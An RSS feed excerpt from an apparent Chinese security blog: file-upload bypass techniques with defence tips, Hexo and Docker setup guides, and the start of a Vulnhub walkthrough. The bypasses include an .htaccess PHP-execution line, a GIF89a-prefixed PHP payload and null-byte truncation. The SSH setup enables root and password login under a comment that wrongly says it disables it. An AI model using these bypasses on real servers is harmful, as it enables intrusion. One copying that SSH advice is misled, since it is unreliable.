$fileext = fileext($_FILE[&#x27;file&#x27;][&#x27;name&#x27;]);
if(!in_array($fileext,$type)){
    echo &quot;upload success!&quot;;
}
else{
    echo &quot;sorry&quot;;
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;上传后文件名没有发生改变，还时常可以结合目录路径攻击，比如filename=&quot;test.asp/evil.jpg&quot; 之类&lt;br&gt;
绕过姿势：  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;配合Apache的.htaccess文件上传解析漏洞&lt;br&gt;
将下面代码保存成*.htaccess文件，由于该配置文件一般不在黑名单内，所以可以成功上传。此文件可以让&lt;code&gt;.jpg&lt;/code&gt;的文件以&lt;code&gt;.php&lt;/code&gt;格式解析，达到可执行的效果&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;AddType application/x-httpd-php .jpg&lt;/code&gt;&lt;/pre&gt;


&lt;ul&gt;
&lt;li&gt;Apache站上的解析缺陷绕过上传漏洞&lt;br&gt;
Apache是从后面开始检查后缀名，按最后一个合法后缀执行，只需要将木马的后缀修改为允许上传的类型，即可成功绕过  &lt;/li&gt;
&lt;li&gt;IIS6.0站上的目录路径检测解析绕过上传漏洞  &lt;/li&gt;
&lt;li&gt;文件名大小写绕过黑名单检测  &lt;/li&gt;
&lt;li&gt;名单列表绕过  &lt;/li&gt;
&lt;li&gt;特殊文件名绕过&lt;code&gt;test.asp&lt;/code&gt;（windows）  &lt;/li&gt;
&lt;li&gt;0X00截断  &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;_3&quot;&gt;检测文件内容(配合文件包含)&lt;/h3&gt;
&lt;p&gt;这种情况，一般是做了过滤，只校验文件后缀名为asp/php/jsp的文件内容。&lt;br&gt;
绕过姿势：先上传内容为木马的.txt文件，然后上传一个带有include()的正常php文件，即可绕过。&lt;/p&gt;
&lt;h3 id=&quot;php&quot;&gt;利用php特性(数组绕过)&lt;/h3&gt;
&lt;p&gt;file_put_contents 第二个参数可以是数组，而且正则匹配无法匹配数组，可以达到绕过的目的&lt;br&gt;
&lt;a href=&quot;http://www.am0s.com/functions/386.html&quot; rel=&quot;nofollow&quot;&gt;file_put_contents()&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;_4&quot;&gt;检测文件头&lt;/h3&gt;
&lt;p&gt;不同的图片文件都有不同文件头，如：&lt;br&gt;
PNG： 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A&lt;br&gt;
JPEG： 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)&lt;br&gt;
GIF： 文件头标识 (6 bytes) 47 49 46 38 39(37) 61&lt;br&gt;
PHP使用getimagesize函数验证图片文件头&lt;br&gt;
绕过姿势：可以选择用010editor改文件头，也可以在恶意脚本之前直接加文件头，如&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;GIF89a
&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_5&quot;&gt;上传到服务端后验证(竞争上传)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://seaii-blog.com/index.php/2017/04/26/49.html&quot; rel=&quot;nofollow&quot;&gt;Web中的条件竞争漏洞&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x03-cms&quot;&gt;0x03 各种CMS的上传漏洞&lt;/h2&gt;
&lt;h2 id=&quot;0x04&quot;&gt;0x04 各种(富)文本编辑器上传漏洞&lt;/h2&gt;
&lt;h2 id=&quot;0x05-waf&quot;&gt;0x05 各种Waf&lt;/h2&gt;
&lt;h2 id=&quot;0x06&quot;&gt;0x06 总结&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;条件： 寻找一个上传点，查看上传点是否可用。&lt;br&gt;
利用：&lt;br&gt;
首先判断是程序员自己写的上传点，还是编辑器的上传功能&lt;br&gt;
如果是编辑器上传功能，goolge当前编辑器的漏洞  &lt;/p&gt;
&lt;p&gt;如果是程序员写的上传点&lt;br&gt;
上传一个正常的jpg图片 查看上传点是否可用&lt;br&gt;
上传一个正常的jpg图片，burp拦截，修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测）&lt;br&gt;
上传一个正常的jpg图片，burp拦截， 00截断 1.php%00.jpg&lt;br&gt;
判断服务器是什么类型，web服务器程序，是什么类型，版本号多少&lt;br&gt;
利用解析漏洞  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;0x07&quot;&gt;0x07 防护建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用白名单限制可以上传的文件扩展（白名单比黑名单可靠多了）  &lt;/li&gt;
&lt;li&gt;验证文件内容，使用正则匹配恶意代码限制上传  &lt;/li&gt;
&lt;li&gt;对上传后的文件统一随机命名，不允许用户控制扩展名  &lt;/li&gt;
&lt;li&gt;修复服务器可能存在的解析漏洞  &lt;/li&gt;
&lt;li&gt;严格限制可以修改服务器配置的文件上传如：.htaccess  &lt;/li&gt;
&lt;li&gt;隐藏上传文件路径  &lt;/li&gt;
&lt;li&gt;升级Web Server  &lt;/li&gt;
&lt;li&gt;及时修复Web上传代码（重要）  &lt;/li&gt;
&lt;li&gt;不能有本地文件包含漏洞  &lt;/li&gt;
&lt;li&gt;注意0x00截断攻击 &lt;/li&gt;
&lt;li&gt;上传文件的存储目录禁用执行权限  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;0x08&quot;&gt;0x08 参考资料&lt;/h2&gt;
&lt;p&gt;着重推荐一个gayhub的项目 &lt;a href=&quot;https://github.com/c0ny1/upload-labs&quot; rel=&quot;nofollow&quot;&gt;upload-labs&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://hellohxk.com/blog/file-upload/&quot; rel=&quot;nofollow&quot;&gt;文件上传漏洞利用与防御(解析漏洞)&lt;/a&gt; &lt;br&gt;
&lt;a href=&quot;https://doge-dog.github.io/2017/12/11/file-upload/#1-%E6%A6%82%E8%BF%B0&quot; rel=&quot;nofollow&quot;&gt;WEB文件上传漏洞总结&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://paper.seebug.org/560/&quot; rel=&quot;nofollow&quot;&gt;简单粗暴的文件上传漏洞&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/&quot; rel=&quot;nofollow&quot;&gt;文件上传漏洞（绕过姿势）&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;http://www.admintony.com/%E5%85%B3%E4%BA%8E%E4%B8%8A%E4%BC%A0%E4%B8%AD%E7%9A%8400%E6%88%AA%E6%96%AD%E5%88%86%E6%9E%90.html&quot; rel=&quot;nofollow&quot;&gt;关于上传中的00截断分析&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Sun, 21 Oct 2018 10:07:03 +0800</pubDate>
  </item>
  <item>
    <title>
      如何在vps上搭建Hexo博客
    </title>
    <link>https://www.0akarma.com/hexo-vps.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近一直在玩docker，所以博客自然也是在docker下搭的～本来想用dockerfile，但是后来发现手动设置的东西太多了，就懒得自动化了，还是老老实实手动配置好了～～&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;辛酸史&lt;/h2&gt;
&lt;p&gt;结合了很多大佬的教程，自己总结出重（踩）要（坑）的地方……&lt;/p&gt;
&lt;p&gt;如果是用docker搭，首先run的时候要开启容器防火墙，加上参数&lt;code&gt;--privileged=true&lt;/code&gt;即可。&lt;/p&gt;
&lt;p&gt;还有最好运行一下初始化命令&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;yum install initscripts.x86_64&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x01&quot;&gt;0x01 建立裸库&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir /var/repo
git init --bare /var/repo/akkayin.github.io.git&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x02&quot;&gt;0x02 建立网站文件夹&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir /var/www/
mkdir /var/www/blog # 放置博客文件
mkdir /var/www/&lt;a href=&quot;http://akkayin.github.io&quot; rel=&quot;nofollow&quot;&gt;akkayin.github.io&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x03-nginx&quot;&gt;0x03 修改nginx配置文件&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;rm /etc/nginx/conf.d/default.conf # 删除默认配置文件
vi web.conf
# 复制下面代码进conf配置文件中，root指向放置博客的目录，server_name填自己的域名
server {
        listen 80;
        root /var/www/blog;
        index index.html index.htm index.nginx-debian.html;
        server_name &lt;a href=&quot;http://blog.0akarma.me&quot; rel=&quot;nofollow&quot;&gt;blog.0akarma.me&lt;/a&gt;;
        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }
        location ~* ^.+\.(css|js|txt|xml|swf|wav)$ {
                root /var/www/blog;
                access_log   off;
                expires      10m;
        }
        location ~* ^.+\.(ico|gif|jpg|jpeg|png)$ {
                root /var/www/blog;
                access_log   off;
                expires      1d;
        }
}&lt;/code&gt;&lt;/pre&gt;


&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;# 最后还可以检查一下配置是否正确
nginx -t 
# 重启nginx
nginx -s reload&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x04-git&quot;&gt;0x04 配置git钩子&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /var/repo/akkayin.github.io.git/hooks/post-receive

# 将下面的两行代码粘贴进post-receive文件中，前面的是博客目录，后面是仓库目录
#!/bin/sh
git --work-tree=/var/www/blog --git-dir=/var/repo/akkayin.github.io.git checkout -f

# 保存之后，执行下面命令
chmod +x /var/repo/akkayin.github.io.git/hooks/post-receive&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x05-git&quot;&gt;0x05 创建git用户&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;useradd -d /home/git -m git
chmod 740 /etc/sudoers
vim /etc/sudoers
# 在 root All=(ALL) ALL 后面追加
git     ALL=(ALL)       ALL
# 保存退出后
chmod 400 /etc/sudoers

sudo chown git:git /var/www/blog
sudo chown -R git:git /var/repo/akkayin.github.io.git&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x06-ssh-key&quot;&gt;0x06 设置ssh-key&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;# 生成ssh-key
ssh-keygen -t rsa -f ~/.ssh/id_rsa_vps -C &quot;yourmail@xxx.com&quot; # 本机执行
cat ~/.ssh/id_rsa_vps.pub # 复制本机的公钥到服务器的authorized_keys中
vi ~/.ssh/authorized_keys

# 设置验证 （⬇️本机执行）
vim ~/.ssh/config
# 将下面5行复制进config中
# two
Host yourIp
HostName yourIp 
User git
IdentityFile ~/.ssh/id_rsa_vps

# 配置ssh设置 （⬇️服务器执行）
vim /etc/ssh/sshd_config
# 复制下面5行
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      .ssh/authorized_keys
PermitRootLogin yes # 允许 root 用户 SSH 登陆
PasswordAuthentication yes # 禁用密码登陆

# 设置权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

# 重启服务 
service sshd restart
# 尝试手动ssh看看配置是否正常
# 如果出现connection refused，检查防火墙端口，以及是否安装sshd
ssh -v git@yourIp -p yourPort&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x07-_configyml&quot;&gt;0x07 更改博客配置文件_config.yml&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-yml&quot;&gt;deploy:
- type: git
  repo: &lt;a href=&quot;https://github.com/akkayin/akkayin.github.io-.git&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akkayin/akkayin.github.io-.git&lt;/a&gt; # github仓库
  branch: master

- type: git
  repo: ssh://git@yourIp:yourPort/var/repo/&lt;a href=&quot;http://akkayin.github.io&quot; rel=&quot;nofollow&quot;&gt;akkayin.github.io&lt;/a&gt;-.git # 裸库目录
  branch: master                            
  message:&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x08-git&quot;&gt;0x08 修改git权限&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;vi /etc/passwd

git:x:1003:1003:,,,:/home/git:/bin/bash # 将⬅️改成⬇️，只需复制/home后面的即可
git:x:1003:1003:,,,:/home/git:/usr/bin/git-shell #这样git就只能使用git-shell而不能使用bash。&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;reference&quot;&gt;Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://zwb.io/p/6612.html&quot; rel=&quot;nofollow&quot;&gt;使用 VPS 让 Hexo 博客快的飞起&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.vhyz.me/2018/06/09/hexo%E5%8D%9A%E5%AE%A2%E5%90%8C%E6%97%B6%E9%83%A8%E7%BD%B2%E5%88%B0github%E5%92%8CVPS%E4%B8%8A/index.html&quot; rel=&quot;nofollow&quot;&gt;hexo博客同时部署到github和VPS上&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.linuxidc.com/Linux/2017-11/148586.htm&quot; rel=&quot;nofollow&quot;&gt;CentOS SSH提示：connect to host centos-py port 22: Connection refused&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/u011704394/article/details/54599727&quot; rel=&quot;nofollow&quot;&gt;docker 容器防火墙设置&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Fri, 12 Oct 2018 01:25:26 +0800</pubDate>
  </item>
  <item>
    <title>
      Docker建站——从入门到“放弃”
    </title>
    <link>https://www.0akarma.com/docker-website.html</link>
    <description>&lt;h2 id=&quot;0x01-preface&quot;&gt;0x01 preface&lt;/h2&gt;
&lt;p&gt;想着学校服务器网络一直没弄好，小组业务线可能还要搬家几次，而且前段时间不想在物理机搭php开发环境的时候，就是拿docker复现的开发环境，用起来很舒服，但是都是一个一个容器的玩，没有很深入的去了解。最近在本地搭php审计环境的时候，又没找到好的“phpstudy”，所以又去遨游了两天的docker海洋。&lt;/p&gt;
&lt;h2 id=&quot;0x02-docker&quot;&gt;0x02 docker&lt;/h2&gt;
&lt;p&gt;再次验证一句话：学一样东西最快的方法，就是&lt;strong&gt;实战&lt;/strong&gt;！！&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876799712.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;项目目录结构如下（有删减）&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;KarmA ~/Downloads/docker-d0g3 # tree -d
.
├── d0g3-blog   # 博客
│   ├── conf.d
│   └── copy
├── d0g3-home   # 主页
│   ├── conf.d
│   └── copy
├── d0g3-major  # nginx代理服务器
│   ├── conf.d
│   └── copy
├── d0g3-php    # php环境
├── d0g3-skills # 技能树
│   ├── conf.d
│   └── copy
└── letsencrypt # ssl证书&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;dockerfile&quot;&gt;dockerfile&lt;/h3&gt;
&lt;p&gt;几乎每个目录里面都有各自的dockerfile，用来定制每个container里面的一些不同的参数/变量……&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;FROM nginx  # 引入那个镜像源

ENV WEB_SITE &lt;a href=&quot;http://www.d0g3.cn&quot; rel=&quot;nofollow&quot;&gt;www.d0g3.cn&lt;/a&gt; # 定义环境变量

RUN mkdir -p /etc/nginx/${WEB_SITE} # 运行的命令

COPY ./nginx.conf /etc/nginx/nginx.conf 

LABEL description=&quot;SSL &amp;amp; D0g3-Home&quot; \   # 标签
      maintainer=&quot;0aKarmA &amp;lt;karma@d0g3.cn&amp;gt;&quot;

EXPOSE 80   #开放80端口
EXPOSE 443  # 开放443端口
CMD nginx -g &#x27;daemon off;&#x27;  # 使用nginx的前台运行模式&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;https://blog.fundebug.com/2017/05/15/write-excellent-dockerfile/&quot; rel=&quot;nofollow&quot;&gt;如何编写最佳的Dockerfile&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;docker-compose&quot;&gt;docker-compose&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-yml&quot;&gt;version: &#x27;2&#x27;
services:
  # 基本环境
  mysql:
    container_name: &quot;d0g3-mysql&quot;
    image: mysql:5.7
    restart: always
    volumes:
      - &quot;$PWD/20181001blog_d0g3_cn.sql:/docker-entrypoint-initdb.d/dump.sql&quot; # 导入数据库文件
    depends_on: # 依赖关系，先安装php环境，再到mysql
      - php
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ${MYSQL_DATABASE}
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    networks:
      - d0g3_net

  # 主要容器
  php:
    container_name: &quot;d0g3-php&quot; # 自定义容器名
    # build 该置顶目录下的dockerfile
    build: ./d0g3-php
    # image指定build Dockerfile生成镜像的名称
    image: php:7.0-fpm-mysqli
    expose:
        - 9000 # expose的端口是不会映射到宿主机上的
    environment: # 设定mysql的环境变量
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    volumes: # 挂载文件，类似于vmware上的共享文件夹
        - &quot;$PWD/d0g3-blog/copy:/var/www/html&quot;
    networks: # 容器间的网络设置
      - d0g3_net

  d0g3-blog:
    container_name: &quot;d0g3-blog&quot;
    image: nginx
    build: ./d0g3-blog
    command: nginx -g &#x27;daemon off;&#x27;
    restart: always
    # 数据卷
    volumes:
      - &quot;$PWD/letsencrypt:/etc/letsencrypt/live/0u0.ooo/&quot;
      - &quot;$PWD/d0g3-blog/conf.d:/etc/nginx/conf.d&quot;
      - &quot;$PWD/d0g3-blog/nginx.conf:/etc/nginx/nginx.conf&quot;
      - &quot;$PWD/d0g3-blog/copy:/usr/share/nginx/html&quot;
    depends_on:
      - mysql
      - php
    expose:
      - 80
    environment:
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    networks:
      - d0g3_net

  d0g3-major:
    container_name: &quot;d0g3-major&quot;
    image: nginx
    build: ./d0g3-major
    command: nginx -g &#x27;daemon off;&#x27;
    restart: always
    # 数据卷
    volumes:
      - &quot;$PWD/nginx.conf:/etc/nginx/nginx.conf&quot;
      - &quot;$PWD/letsencrypt:/etc/letsencrypt/live/0u0.ooo/&quot;
      - &quot;$PWD/d0g3-major/conf.d:/etc/nginx/conf.d&quot;
      - &quot;$PWD/d0g3-major/copy:/usr/share/nginx/html&quot;
    links:
      - d0g3-home
      - d0g3-blog
      - d0g3-skills
    networks:
      - d0g3_net
    ports:
      - &quot;80:80&quot; # ports的端口，会映射到宿主机上，如果没有指定映射到宿主机哪一个，就会随机分配
      - &quot;443:443&quot;
    networks:
      - d0g3_net

networks:
    # 配置docker network
    d0g3_net:
        driver: bridge&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/breezey/p/9426085.html&quot; rel=&quot;nofollow&quot;&gt;一文掌握Docker Compose&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x03-nginx&quot;&gt;0x03 nginx&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;nginx真是个好东西～～&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_1&quot;&gt;基本知识&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/792048d08ebc&quot; rel=&quot;nofollow&quot;&gt;X-Forwarded-For的一些理解&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/3092d0cfc445&quot; rel=&quot;nofollow&quot;&gt;http协议属性整理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/e0dadb871894&quot; rel=&quot;nofollow&quot;&gt;nginx 403 Forbidden 排错记录&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;_2&quot;&gt;跨域&lt;/h3&gt;
&lt;p&gt;跨域情况如下表&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876997929.jpg&quot;&gt;&lt;br&gt;
&lt;a href=&quot;https://www.imooc.com/article/73794&quot; rel=&quot;nofollow&quot;&gt;CORS跨域与Nginx反向代理跨域优劣对比&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;cors&quot;&gt;CORS跨域&lt;/h4&gt;
&lt;p&gt;CORS是一个W3C标准，全称是跨域资源共享(Cross-origin resource sharing)。它允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。&lt;/p&gt;
&lt;p&gt;简单来说就是跨域的目标服务器要返回一系列的Headers，通过这些Headers来控制是否同意跨域。跨域资源共享(CORS)也是未来的跨域问题的标准解决方案。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hi-linux.com/posts/60405.html#%E5%90%AF%E7%94%A8cors%E8%AF%B7%E6%B1%82&quot; rel=&quot;nofollow&quot;&gt;Nginx 通过 CORS 实现跨域&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;nginx&quot;&gt;nginx反向代理跨域&lt;/h4&gt;
&lt;p&gt;原理就是将两个跨域资源，通过反代，代到同一域下，就可以解决跨域问题。&lt;/p&gt;
&lt;p&gt;但是对于我这次遇到的情况，这种方法不管用，因为是协议不同导致的跨域。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.imooc.com/article/72374?block_id=tuijian_wz&quot; rel=&quot;nofollow&quot;&gt;nginx反向代理跨域基本配置与常见误区&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hi-linux.com/posts/41743.html&quot; rel=&quot;nofollow&quot;&gt;用 Nginx 反向代理机制解决前端跨域问题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.linuxidc.com/Linux/2018-03/151469.htm&quot; rel=&quot;nofollow&quot;&gt;使用Nginx反向代理处理前后端跨域访问&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mengkang.net/488.html&quot; rel=&quot;nofollow&quot;&gt;用 nginx proxy_pass 绕过跨域请求的问题&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;_3&quot;&gt;反向代理&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731877129472.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://xxgblog.com/2015/05/17/nginx-start/&quot; rel=&quot;nofollow&quot;&gt;Nginx基本功能极速入门&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.51cto.com/13598893/2090726&quot; rel=&quot;nofollow&quot;&gt;nginx反向代理相关配置（一）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/benimang/article/details/80518631&quot; rel=&quot;nofollow&quot;&gt;Docker中配置Nginx多域名配置多个应用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.phpyuan.com/235726.html&quot; rel=&quot;nofollow&quot;&gt;轻松实现nginx代理https转http&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;反代后静态资源404:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/zhanqixuan22/article/details/47107865&quot; rel=&quot;nofollow&quot;&gt;解决Nginx反向代理后无法加载静态文件的问题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://lucyhao.com/2016/02/01/ngnix%E9%85%8D%E7%BD%AE%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90404%E9%97%AE%E9%A2%98/&quot; rel=&quot;nofollow&quot;&gt;ngnix配置静态资源404问题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/ZHangFFYY/article/details/78494637&quot; rel=&quot;nofollow&quot;&gt;nginx 中配置多个location并解决js/css/jpg/等的加载问题&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x03-summarization&quot;&gt;0x03 Summarization&lt;/h2&gt;
&lt;p&gt;渐渐的，发现自己爱上了docker！（逃&lt;/p&gt;
&lt;h2 id=&quot;0x04-good-materials&quot;&gt;0x04 Good Materials&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/df6d13187578&quot; rel=&quot;nofollow&quot;&gt;申请 Let’s Encrypt 泛域名证书 及 Nginx/Apache 证书配置&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Thu, 04 Oct 2018 01:11:16 +0800</pubDate>
  </item>
  <item>
    <title>
      Vulnhub-GoldenEye:1 通关指南
    </title>
    <link>https://www.0akarma.com/vulnhub-goldeneye.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;It&#x27;s themed after the great James Bond film (and even better n64 game) GoldenEye.&lt;/p&gt;
&lt;p&gt;靶机命名来自詹士邦系列的电影——GoldenEye&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731873215549.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;Difficulty：中等&lt;/p&gt;
&lt;p&gt;Goal：得到root权限&amp;amp;找到flag.txt&lt;/p&gt;
&lt;p&gt;Hint：有多种方法获得root权限&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;信息收集&lt;/h2&gt;
&lt;p&gt;nmap扫一下端口&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731211729181/15731873370630.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;除了常见的web(80)端口，还有一个smtp(25)端口，其他的55006和55007应该是smtp的加密协议～&lt;/p&gt;
&lt;h3 id=&quot;80&quot;&gt;80&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731873488569.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;看源码，发现一段注释&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731211729181/15731873595957.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;Url decode&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731873722909.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;既然拿到密码了，那就根据提示去&lt;code&gt;/sev-home/&lt;/code&gt;login呗！&lt;/p&gt;
&lt;p&gt;账号名:Boris ，密码如上，登陆后&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731873838521.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;查看源码，发现一个hint&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h1&amp;gt;GoldenEye&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) &amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;Please email a qualified GNO supervisor to receive the online &amp;lt;b&amp;gt;GoldenEye Operators Training&amp;lt;/b&amp;gt; to become an Administrator of the GoldenEye system&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;Remember, since &amp;lt;b&amp;gt;&amp;lt;i&amp;gt;security by obscurity&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt; is very effective, we have configured our pop3 service to run on a very high non-default port&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后发现，源码最底下藏了俩supervisor的名字&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874051147.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;pop3&quot;&gt;pop3&lt;/h2&gt;
&lt;p&gt;掏出hydra爆破一下pop3&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874149051.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;顺利将密码爆破出来 ，那就继续走下去，用nc登进去邮箱看看有什么信息可以收集。&lt;/p&gt;
&lt;blockquote&gt;
